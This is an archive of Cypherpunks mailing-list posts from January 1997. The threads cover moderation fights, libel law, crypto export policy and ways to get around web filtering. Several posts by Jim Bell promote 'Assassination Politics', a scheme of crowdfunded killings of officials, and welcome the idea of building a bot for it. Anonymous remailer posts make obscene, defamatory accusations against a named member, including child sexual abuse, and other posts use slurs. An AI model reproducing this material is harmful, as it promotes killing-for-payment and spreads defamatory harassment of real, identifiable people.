Message-ID: <7Zoc2D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


OKSAS <oksas@asimov.montclair.edu> writes:

> On Thu, 30 Jan 1997, Anonymous wrote:
> > I cannot understand how some of my (accurate) criticisms of Sandfort's
> > censorhip polices---some in direct response to his own self-serving posts
> > declaring himself not to be a flamer himself---are not making it to the
> > "New and Improved Censored List," while inane posts from Toto, Thorn, and
> > someone named "Nurdane Oksas" are appearing.
> 
> 	WEll....that's not so bad ;)

I find Oksas's posts to be very interesting.  

> > (Oksas has the especially annoying habit of quoting entire posts and then
> > appending a one-line piece of completely list-irrelevant fluff. Also,
> 	Is it so annoying...? why did you read it to that point??? :)
> 	Why could you not be so anonymous and tell me?  My posts are
> 	a bit brief; Blancs' are far better, next time read hers.
> 
> > engaging in lovey-dovey posts with Vulis, who writes messages about how he
> > longs to see Oksas naked.)
> 
> 	Huh??  You are being a 'fluff' here ;)

"Anonymous" is lying - I never posted any such thing.  of course the
cocksuckr moderator passed on the "anon's" lies to the censored mailing
list, and I bet he's goingto auto-bounce my refutation to "flames"
- just as everyone had predicted.

> 	
> > This whole process is showing the worst of Sandfort's censorship policy.
> > 
> > (If this is dumped into the "Not suitable for Cypherpunks to read" list, I
> > urge those of you who see it to pass it on to the main list.)

If you don't like the sandfart's moderation policy, you can just read the
unedited list and institute your own moderation policy using 'procmail'.
That's pretty much what the sandfart does anyway. Fluff from people he likes
makes it to the censored list (like a request to jya's bot cc'd to the whole
censored list) whie anything I or Toto or Oksas say is auto-junked.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 10:39:47 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <199701301837.KAA10112@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:22 AM 1/29/97 -0800, Greg Broiles wrote:
>At 10:42 PM 1/28/97 -0600, Jim Choate wrote:
>
>>It has been asserted by at least one member that the 1st Amendment protects
>>libelous or other defamatory speech. 
>
>Defamation is not protected by the First Amendment; but the First Amendment
>limits the application of defamation law in many circumstances. For
>example, the First Amendment requires plaintiffs to prove "actual malice"
>if they are a public official, public figure, or a private person seeking
>punitive damages.

What you ought to explain to us laymen is that the terminology "actual 
malice" dates from the case New York Times vs. Sullivan, and it used a 
definition of "malice" that was not in any dictionary at the time.  

My recollection:

Sullivan was a local hero in a particular area in the south in the last 50's 
(?), gave a speech to a crowd of (?) people who were probably in sympathy 
with segregation.  They proceeded to march.   Later, the New York Times 
claimed (as I vaguely recall it, although it's been years since I read a 
description) that he had instigated a riot.  

Sullivan sued, claiming his reputation had been damaged.  Arguably, it had, 
although it's probably equally arguable that Sullivan had done something 
that would have been looked upon somewhat unsympathetically by 
non-Southerners.  The local (southern, of course) jury found NYT guilty of 
libel, and awarded Sullivan some huge judgment.    (Had the jury been made 
up of northern people, presumably Sullivan would have lost.)


The problem here is that two long-honored principles collided:  One, the 
"free speech" issue, generally tries to guarantee organizations like NY 
Times the right to print the news and the leeway to do so.  The second  
principle that people should be able to sue for libel in a local court, and 
be awarded whatever amount of money the jury declares.  The problem with 
this was obvious, after the verdict:  It, in effect, allowed essentially any 
burg in the country, no matter how backwards, potentially to bankrupt any 
targeted organ of the national news media.  Something had to give.

Unfortunately, the SC screwed up, as usual.  The proper thing for them to do 
would have been to abandon libel law entirely, recognizing that it did more 
harm than good.  But they blew it:  They invented the "actual malice" 
standard out of whole cloth, raising the standard for libel suits by "public 
figures," which is really a rather arbitrary standard.  Don't go to any 
ordinary English dictionary for this "malice" definition; it didn't exist 
before the Sullivan decision, not even in lawbooks.  It was really just a 
rabbit pulled from a hat to try to avoid the collision I mentioned above.  

Side note:  I think that the SC should be unable to re-define ordinary 
English words.  But they try anyway.

Basically, it became harder to sue well-known persons.  However, what really 
happened is that they SC had merely put off the problem for another day, 
because the DEFINITION of a "public figure" was at least as malleable as 
Jell-O.   And oddly, it was eventually revealed that you could be a "public 
figure" with respect to one subject, but NOT a "public figure" on another.  
Etc.

Ironically, now that Richard Jewell (incorrectly identified as Atlanta 
bombing suspect) has sued some newspapers (and his former employer) for 
libel, it seems likely that at least some of those defendants will try to 
argue that merely being named by the government as a criminal suspect makes 
him "a public figure."


BTW, I think that pressing the Richard Jewell incident would be an excellent 
way to derail any sort of claim that the government can obey the law.  
Apparently, they got a number of search warrants based on, essentially, 
nothing, and to rub this in the government's nose would show that the 
so-called "probable-cause" standard for warrants is not followed in practice.











Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 10:38:18 -0800 (PST)
To: Dale Thorn <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701301837.KAA10125@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:05 PM 1/28/97 -0800, Dale Thorn wrote:

>I dare say that the downside of this is much less pleasant than the
>virtual anarchy (in the bad sense) we suffer now.  If the police get
>out of control, A.P. will arrive just in time to plug a few of those
>holes, so to speak.  Ideally, future robotics should be able to
>provide something like Gort (sp?) to take the place of human officers,
>given advances in the kind of pattern matching needed to deter
>aggression and the like.  Those who don't make it past the robots,
>well, the rest of us can learn to behave, and we'll be much better
>off when we do.


Your comparison with the fictional Gort, in the movie "The day the earth 
stood still" is of course apt.  It was only after I'd written most of the 
essay that I realized that an AP-type system would function much as Gort did.  

Occasionally we (CP) see a spoof where somebody claims to have developed a 
software program to "replace the judicial system" or something like that.  
Well, the problem with such a claim (aside from the obvious and enormous 
AI-type difficulties) is that the current system contains numerous biases.  
Writing a program to replace the legal system would presumably require that 
these biases be measured (and admitted-to!) and implemented into a 
well-defined system.  

What we'd discover is that the current system only barely resembles the 
guarantees in the US Constitution. At that point, there would be an argument 
between those who will insist that the Constitution be followed, and those 
who believe that the current de-facto system, however biased, be maintained 
as-is.  

 

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 10:38:07 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701301837.KAA10130@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:16 PM 1/28/97 -0800, Sean Roach wrote:
>At 10:47 PM 1/27/97 -0800, jim bell wrote:
>>In the current political system, in the US for instance, 51% of the 
>>population is able to screw the remaining 49%, just as long as they can 
>>maintain the majority.  Or, perhaps even more accurately and ominously, a 
>>tiny fraction of the population (the current leadership class) is able to 
>>screw the 49%, as long as they have the un-thinking backing of the remaining 
>>and relatively uninvolved 51%.
>>
>>AP disables this system.  AP turns government into the moral equivalent of a 
>>pick-up football game:  Nobody is being forced to play, and everybody and 
>>anybody can simply "get up and leave" whenever he wants to.  The moment the 
>>"rules of the game" to make an individual's continued participation 
>>unsatisfying, he can leave.
>>
>...
>In our society, which, if I remember correctly, 10% of the population
>control 90% of the wealth, AP would only lead to 10% of the population being
>able to screw the remaining 90%.  At least as it is, it takes a simple 
majority.

No, that doesn't work.  AP does involve money, that's true, but what "the 
poor" lack in individual assets they make up for in numbers.   And AP 
implements a sort of "mutual disarmament," by not only preventing that 10% 
from screwing the 90%, but also prevents the 90% from screwing the 10%.   

>As for the murder of the rich, here is a scenerio.
>
>A collection of poor pool their capitol to have a tyrant killed.
>The tyrant assembles a counter-wager saying that anyone able to prove thier
>ability to kill him without harming him, and who can show they got through
>will get 110% of the poor's bid.

Question:  Where does he get the money for the reward?  If he gets it 
through taxation, he'll anger the people who were taxed and they'll pay to 
see him die.  If he got in through taxation in the past, enough people will 
STILL be angry enough with him to see him dead.  His employees (the ones who 
probably have the most opportunity to kill him) would be made just about as 
wealthy by killing him as taking him up on his odd offer.  Worse, for him, 
is that he'd lose money paying off those people if they showed they could 
have "succeeded."  Even if they were not motivated to actually kill him, 
they'd be motived to SHOW they could kill him, and notice that they'll 
become just about as rich for KILLING him as merely showing they can!  

Notice that your idea also assumes that an employee has to become willing 
to, in effect, plot against his employer in such a way that he can be 
assured that his actions won't be incorrectly interpretated as a genuine 
assassination attempt. How can you (or anyone else?) tell the difference 
until the plan either succeeds or fails?)  Moreover, how can the employee 
trust that his boss will actually honor his promise?

I think you're also (falsely) assuming that a deliberately-unsuccessful 
assassination demonstration immunizes the tyrant from a repeat performance.  
True, it's often useful to know what kinds of attacks are possible, but that 
doesn't mean that the system can be fixed to prevent future repetitions...

The tyrant, then, either loses his life or a lot of money, and he still 
can't trust anybody.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 30 Jan 1997 10:55:20 -0800 (PST)
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <3.0.32.19970130101929.006c7ea4@192.100.81.137>
MIME-Version: 1.0
Content-Type: text/plain


At 01:41 AM 1/30/97 -0800, Bill Stewart wrote:
>I think we do need to get some sort of push going for 3DES as a
>replacement for DES - it's strong enough, even though DES is showing
>its age, and it's an obvious transition from the current technology.
>It's slower and clunkier than IDEA or RC4/128, but still not bad.

The migration to 3DES is underway, at least in the banking sector. ANSI
X.9, the group that deals with many of the protocols used in the banking
industry, has made tremendous progress. 3DES, elliptic curve, and a host of
other improvements all are out of committee and should be available as
official (for bankers :-) specs soon, if they aren't already.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@gill-simpson.com" <tmcghan@gill-simpson.com>
Date: Thu, 30 Jan 1997 07:59:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sovreign Right of Lawful Access
Message-ID: <199701301558.KAA13324@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


according to the notorious  jim bell <jimbell@pacifier.com>

> {snip} They're getting desperate.  "Sovereign Right of Lawful Access"
> doesn't state HOW DIFFICULT that "access" is to be.  {snip}


Just might get a bit more 'difficult', if these demagogues get their
grandstand play off....


>Encryption Export Bill Backed In Senate

>WASHINGTON - A bipartisan group of U.S. senators has endorsed a bill 
>to promote U.S. exports of encryption technology by removing government 
>barriers on foreign sales. 

>"Foreign companies are fully utilizing this technology, while 
>Americans companies have their hands tied with draconian U.S. laws on 
>encryption," Sen. John Ashcroft, R-Missouri, said. 

>He joined Sens Conrad Burns, R-Montana and Patrick Leahy, D-Vermont 
>in endorsing the Promotion of Commerce Online in the Digital Era 
>.................^^........^..^........^.............^.......^..
>(PRO-CODE) bill. 

Don't you just love their cute little acronym?  Must have laid awake 
nights thinking that one up!

Thomas M. McGhan
tmcghan@gill-simpson.com
http://www.gill-simpson.com
voice:       (410) 467-3335
fax:         (410) 235-6961
pagenet:     (410) 716-1342
cellular:    (410) 241-9113
ICBM:        39.395N 76.469W




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 30 Jan 1997 09:03:04 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Fighting the cybercensor
In-Reply-To: <R8Nc2D3w165w@bwalk.dm.com>
Message-ID: <199701301658.KAA03849@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> It looks like Igor has made it to Sandy's list of "flamers" whose every
> submission is procmailed to "cypherpunks-flames". The above quote is
> crypto-relevant (as is assassination politics) and contains no flames.
> it was tossed into "cypherpunks-flames" by a robot. The time stamps
> clearly show that Sandy didn't even look at it.

I am not sure if the above is true. Please post the time stamps (several
of them) that show that my posts are auto-junked.

Thank you.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ja94a08@tdi.itm.edu.my (iamme)
Date: Wed, 29 Jan 1997 19:12:56 -0800 (PST)
To: mst114@psu.edu
Subject: Re:re :  Best Computer School?
Message-ID: <199701300310.LAA00651@ss5-15.itm.edu.my>
MIME-Version: 1.0
Content-Type: text/plain


what about purdue and caltech ?
anyone has Carnegie Mellon University (C.M.U.) in Pittsburgh www ?
he he man





> From owner-cypherpunks@toad.com Wed Jan 29 14:57 SGT 1997
> Date: Tue, 28 Jan 1997 20:23:53 -0500
> From: Matthew Toth <mst114@psu.edu>
> To: SpyKing <spyking@thecodex.com>
> Cc: cypherpunks@toad.com
> Subject: Re: Best Computer School?
> 
>         MIT is one the best schools in the country for C.S.
>         Close behind is Carnegie Mellon University (C.M.U.) in Pittsburgh,
> PA. (the folks who put out CERT.) Not sure how much Crypto they do, though.
> 
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 11:15:43 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199701301915.LAA14465@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


What you're presented (included in its entirety below) is what I've come to 
call an "AP story problem."   I've worked through many of those myself; 
their main problem is that they don't carefully describe why _each_ person 
in the "play" you've described would be motivated to do what it's claim he 
does, and why he DOES NOT do other things to fix the situation he's in.  
Remember, I'm not merely talking about the main character, but also the ones 
who are (apparently?) incidental.  

For just one example, you said:    "conventional bodyguards could be 
included, ones with no real pay but with the fore knowledgethat they will be 
buried with the tyrant."

What motivates these people?  Are they hostages?  If they're hostages, then 
presumably that means they're motivated to seek the death of anyone who is 
holding them.  What about their relatives; don't they have any sympathy for 
those who are taken?  Why don't they donate to AP to see the lead guy dead?

Etc. Etc.    



At 04:36 PM 1/29/97 -0800, Sean Roach wrote:
>This may be true, but the example was to show how easy a defensive line
>could be thrown up around the powerful.  For example, conventional body
>guards could be included, ones with no real pay but with the fore knowledge
>that they will be buried with the tyrant.  These body guards could be ten
>children out of each local village.  Merely a human shield.  In an attack,
>they would scatter, but the parents would know that the children would die
>if a successful action were taken against the tyrant.  Also, the tyrant
>could put an open bounty on anyone caught trying to harm him.  Just bring
>the decapitated head of the assassin along with a VHS cassette of the
>attempted action for a big reward.  
>
>By layering the defenses, it becomes increasingly difficult for anyone to
>get through.
>
>Obviously the castles walls are the first line of defense, so a reward is
>given for anyone caught using any entrance to the fortress except those that
>are provided.
>
>The household is told that their participation will result in the
>extermination of their families.  They are then told that if they know of an
>impending action and fail to report it or attempt to stop it, they are
>considered party it those actions.
>
>A human shield of innocents is "given the privaledge to live in the fortress
>with our great leader" so that actions by concerned parties is limited further.
>A standing bounty is placed on the head of the assassin, who so ever brings
>in the head of the assassin and all children parented by that person after
>the assination will be given a reward of some set sum.  Probably 110%.
>
>A bounty is set on security breaches, this bounty would probably be 110% of
>the death mark on the tyrant.
>
>A series of more conventional boobytraps are layed in normally inaccessable
>areas, the layers of these either being prisoners who have unknowningly been
>condemned to die, the tyrant himself, or some other disposable or trustable
>deployment device.  The most common of these would probably be a mine field
>between the two outer most walls of the fortress, and maybe a funnel-gun
>parimeter inside of that.
>
>An inner sanctum with self contained air, water, and food is maintained for
>the tyrant and h[is/er] closest relatives/advisors.  This sanctum would be
>accessed by biometrics and only used in a percieved emergency.
>
>All dissent is declared illegal with capitol punishment for the mere
>discussion of the impending death of the tyrant, exceptions to this would be
>persons in the direct company of the tyrant with the tyrants full awareness,
>and permission.
>
>
>
>
Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 30 Jan 1997 09:26:53 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Authenticated mail command processor
Message-ID: <199701301721.LAA04053@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi,

I am wondering if anyone has written a package for remote command 
processing that has authentication and access control built in.

I am looking for the following:

	1) PGP Authentication of each incoming message
	2) Access control where ability of users to execute commands is
	   finely limited
	3) Protection against replay and MITM attacks, encryption
	4) Sending back of the results of execution
	5) Some form of logging

I need it for my cryptorobomoderator bot, to allow moderators to 
go to vacations and perform other admin tasks w/o logging in.

Thank you.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Thu, 30 Jan 1997 09:45:27 -0800 (PST)
To: "'snow'" <cypherpunks@toad.com>
Subject: RE: Cellular phone triangulation
Message-ID: <01BC0EA2.D52FC620@s13-pm07.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


Snow wrote:
    I'd rather become an "arms dealer".

You may already be one if the government keeps this ITAR shit up. --Internaut
 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Thu, 30 Jan 1997 08:40:43 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <syuB2D10w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970130113556.22219A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 29 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> sameer <sameer@c2.net> writes:
> 
> > 	David Aaron seems to make lying out of his ass a hobby. His
> > talk at the RSA conference was such a load of bullshit it wasn't even
> > funny.
> 
> The above is a flame.  But because Sandy works for Sameer, it was posted
> to the censores list, not tosses to "cypherpunks-flames".

	Hmm, I wonder what Sandy does for Sameer...

	Regards,





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 11:48:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: uae_1.html
Message-ID: <199701301948.LAA18794@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:26 AM 1/28/97 -0500, Lynx_User@linux.nycmetro.com wrote:
>                             Reuters New Media
>   Monday January 27 9:50 AM EST 
>   
>UAE Launches Service To Censor Internet
[deleted]
>   The proxy server will be pre-fed with Internet addresses where access
>   is blocked off, industry sources said. But the server will be unable
>   to block access if addresses of prohibited sites are changed, as
>   frequently happens.
>   
>   Etisalat says it will disconnect any customer who abused its Internet
>   services and violated "order and clear laws."
>   
>   "Singapore has succeeded to a great extent in its drive to control
>   harm done by the Internet," said another Etisalat official. "Why
>   cannot we?"

I wonder what these people will think when organizations like Teledesic and 
Iridium start operating (low-earth-orbit satellites) to allow 
totally-wireless connectivity.  It seems to me that there will be a market 
for services that allow anonymous browsing, perhaps with encrypted requests 
that return otherwise-unidentified data on a publicly-accessible airwaves.  

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 30 Jan 1997 11:48:43 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Fighting the cybercensor
Message-ID: <199701301948.LAA18798@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:03 AM 1/28/97 -0600, Igor Chudov @ home wrote:
>jim bell wrote:
>> 
>> At 10:21 PM 1/26/97 -0800, blanc wrote:
>> >From:	jim bell (in response to Dimitri Vulis')
>> >Look, I've proposed what I consider to be a remarkably consistent method to 
>> >prevent the kind of political tyranny that you criticize, and I don't see
>> >any recognition of this fact.
>> >........................................................
>> >
>> >1) Jim, why do you insist on discussing this on an forum for encryption?
>> 
>> Because it's on-topic, that's why.  Because it's not merely a list 
>> concerning METHODS of encryption, it's also about the _reasons_ for using 
>> encryption, as well as the _effects_ (both small-scale and large-scale) of 
>> using encryption.  
>
>Actually AP is one of the more interesting topics here. I think that there
>is a clear need for an AP bot.
>
>Do you feel like writing it?

Desire?  Yes.  Ability?  Maybe.  Time? No.

 
Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pavel Korensky <pavelk@dator3.anet.cz>
Date: Thu, 30 Jan 1997 03:05:14 -0800 (PST)
To: wendigo@pobox.com
Subject: Re: Workaround for filtering/cybersitter
In-Reply-To: <199701292156.NAA12978@toad.com>
Message-ID: <199701301053.LAA00250@zenith.dator3.anet.cz>
MIME-Version: 1.0
Content-Type: text/plain


Mark Rogaski <wendigo@pobox.com> wrote:
> If I had experience with Netscape plugins and spare time, I'd
> try it myself.  But here's my proposed solution.  
> 
> A plugin in Netscape intercepts all requests,  encrypt the URL
> with a pubkey algorithm, encode the string base64, send it as GET input to
> a proxy server.
> 
> The proxy server decodes and decrypts the URL, gets the requested page,
> and returns it.  This beats out URL-based filtering.
> 
> Still need to figure out the specifics of key-exchange.  If we use
> 40-bit encryption, it's exportable, and it still works in our threat
> model (ie. we don't care if the watchers figure out the URL a few hours
> later).
> 
> To beat out dropping packets with unacceptable pattern in them, we
> could use an SSL-based server as the proxy.
> 
> The plugin could even have a nice little on/off switch and a list
> list of available proxies.

Nice, but I can see one problem here.
If I (as a censor) will want to block your communication to prohibited sites, I
can block the access to the proxy computers. You will just move the blocking
strategy one level up with your plug-in. The censor will block the web servers
AND proxy servers. Because the list of proxy servers must be available somehow
to users, it is very simple to write some kind of script running on the gateway
which is blocking the acccess. The script will download the list of proxy
servers, update the gateway tables and the gateway will be blocking acccess to
all sites on the proxy list. 

Bye PavelK


--
****************************************************************************
*                    Pavel Korensky (pavelk@dator3.anet.cz)                *
*     DATOR3 Ltd., Modranska 1895/17, 143 00 Prague 4, Czech Republic      *
*  PGP key fingerprint: 00 65 5A B3 70 20 F1 54  D3 B3 E4 3E F8 A3 5E 7C   *
****************************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "sales" <sales@medannet.com>
Date: Wed, 29 Jan 1997 20:59:02 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199701300448.VAA11457@cough-syrup.nethosting.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: biz25@prodigy.net
Date: Thu, 30 Jan 1997 09:18:53 -0800 (PST)
Subject: Just ask you a question
Message-ID: <199701301701.MAA316230@mail1y-int.prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

I just want to ask you a question. This is not "unsolicated" email.

Do you want me to post you the URL & information if you are MLM & Business 
Opportinuties Seeker? Please put "SUBSCRIBE" in the subject line. I will
put your name on my list. You may give me your new URL. I will send your 
URL to the people who are on the "Subscribe" email list. 

If you don't want me to post you the URL & information, please type
"UNSUBSCRIBE" in the subject line. I will remove your name on my list.

Thanks,
Sonia











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 12:07:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [GSM] ElGamal
Message-ID: <199701302007.MAA30259@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dumbbell Vasectomy's abysmal grammer, atrocious spelling and
feeble responses clearly identify him as a product of the
American education system.

    _.._        _.._
  ,','"_:./\/\,'_ `.`.
 /_:--:_ ( oo ) _:--:_\ Dumbbell Vasectomy
/'      `'`vv'`'      `\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 30 Jan 1997 12:13:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [FWD] Elliptic curves
Message-ID: <199701302012.MAA31404@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vagina K[ondom] Of The Moment has been fired for
anally raping officemates.

       _  O     O  _
        \-|-\_/-|-/  Dr.Dimitri Vagina K[ondom] Of The Moment
         /^\   /^\
        ^^ ^^ ^^ ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 30 Jan 1997 10:35:05 -0800 (PST)
To: Pavel Korensky <pavelk@dator3.anet.cz>
Subject: Re: Workaround for filtering/cybersitter
In-Reply-To: <199701301527.HAA05667@toad.com>
Message-ID: <199701301237.MAA26312@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701301527.HAA05667@toad.com>, on 01/30/97 at 11:53 AM,
   Pavel Korensky <pavelk@dator3.anet.cz> said:


>Nice, but I can see one problem here.
>If I (as a censor) will want to block your communication to prohibited sites, I can block
>the access to the proxy computers. You will just move the blocking strategy one level up
>with your plug-in. The censor will block the web servers AND proxy servers. Because the
>list of proxy servers must be available somehow to users, it is very simple to write some
>kind of script running on the gateway which is blocking the acccess. The script will
>download the list of proxy servers, update the gateway tables and the gateway will be
>blocking acccess to all sites on the proxy list. 


In addition to this I (as a censor) would make it Illegal to access, read,
possess the information on these "blocked" sites. Add some keyword monitoring to the
gateway along with logging. This will allow me to selectively go after those who try to
circumvent my censoring attempts.

I would also want to make the ISP's liable for their users accessing this info. That way I
can intimidate them into doing all the work for me. (You can see
this approach in several areas of US law enforcemant. Arrest bartenders for
serving minors, arrest store clerks for selling cigaretts to minors, shut down of BBS for
users posting "dirty pictures", going after ISP's for pirated
software and other copyright infringments by their users.)

Whenever I did decide to prosecute someone I would make it a big public show
for everyone to see with very stiff penalties. After several of these trails the "sheep
factor" will keep 99% of the population in line (US Crypto policy is a prime example).  

The point I am trying to make is that for the censor his set-up does not need to be that
sophisticated as fear and intimidation will keep 99% of the
rank-and-file in line. As for the other 1%, well they already know who they are and new
laws will only help take care of that "problem".


- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Your brain.  Windows: Your brain on drugs.

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1OuujOlJ2t/OwXsSePRptcfDL6XeCQXww5stlS7UXKosG9w0ZWHYOxHvvV9FjDBi
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Thu, 30 Jan 1997 12:36:11 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Cats Out of Bags
In-Reply-To: <199701291856.KAA07395@toad.com>
Message-ID: <199701302036.MAA26546@netcom14.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


as I've said before, I really hate the "cat out of the bag"
saying, as Aaron's recent comments indicate.

ONLY A TYRANNICAL GOVERNMENT WOULD PUT THE CAT IN THE
BAG IN THE FIRST PLACE

maybe we can distill this into a new saying, instead of
the favorite "cats out of bags". 

I've said repeatedly that pro-crypto advocates using the
"cat out of the bag" analogy is actually damaging to the
position that the constitution guarantees crypto freedom
via free speech and privacy. it encourages the government
side to do exactly as Aaron is doing-- arguing that the
cat is not out of the bag, when *that's*not*the*point*

how about, GOVERNMENT SHOULD STOP SUFFOCATING CRYPTO CAT!!!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Thu, 30 Jan 1997 12:38:48 -0800 (PST)
To: Cypherpunks Mailing List <cypherpunks@toad.com>
Subject: NSA Rainbow Series.
In-Reply-To: <199701291856.KAA07394@toad.com>
Message-ID: <Pine.LNX.3.95.970129162712.22906A-100000@shelob.aracnet.com>
MIME-Version: 1.0
Content-Type: text/plain



	A while back someone posted the 1-800 number for the NSA to call
in and get the Rainbow series delivered.... well, I called and put in an
order and it never came, I need to call them again... I don't have the
phone numbere number anymore...does anyone have it? Can someone
email me the number again?

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*     "You can be a king or a street
  *---===|       2600       |===---*   sweeper, but everyone dances with the
  *---===|__________________|===---*              Grim Reaper."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anonymous@miron.vip.best.com
Date: Thu, 30 Jan 1997 13:07:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Man in the Middle
Message-ID: <199701302059.MAA13084@miron.vip.best.com>
MIME-Version: 1.0
Content-Type: text/plain


Dense Venomous will fuck anything that moves, but he'd rather be
fucking his own daughter's prepubescent body.

       |\_/|
       (0_0)     Dense Venomous
      ==(Y)==
  ---(u)---(u)---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 30 Jan 1997 10:20:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701300441.UAA22482@toad.com>
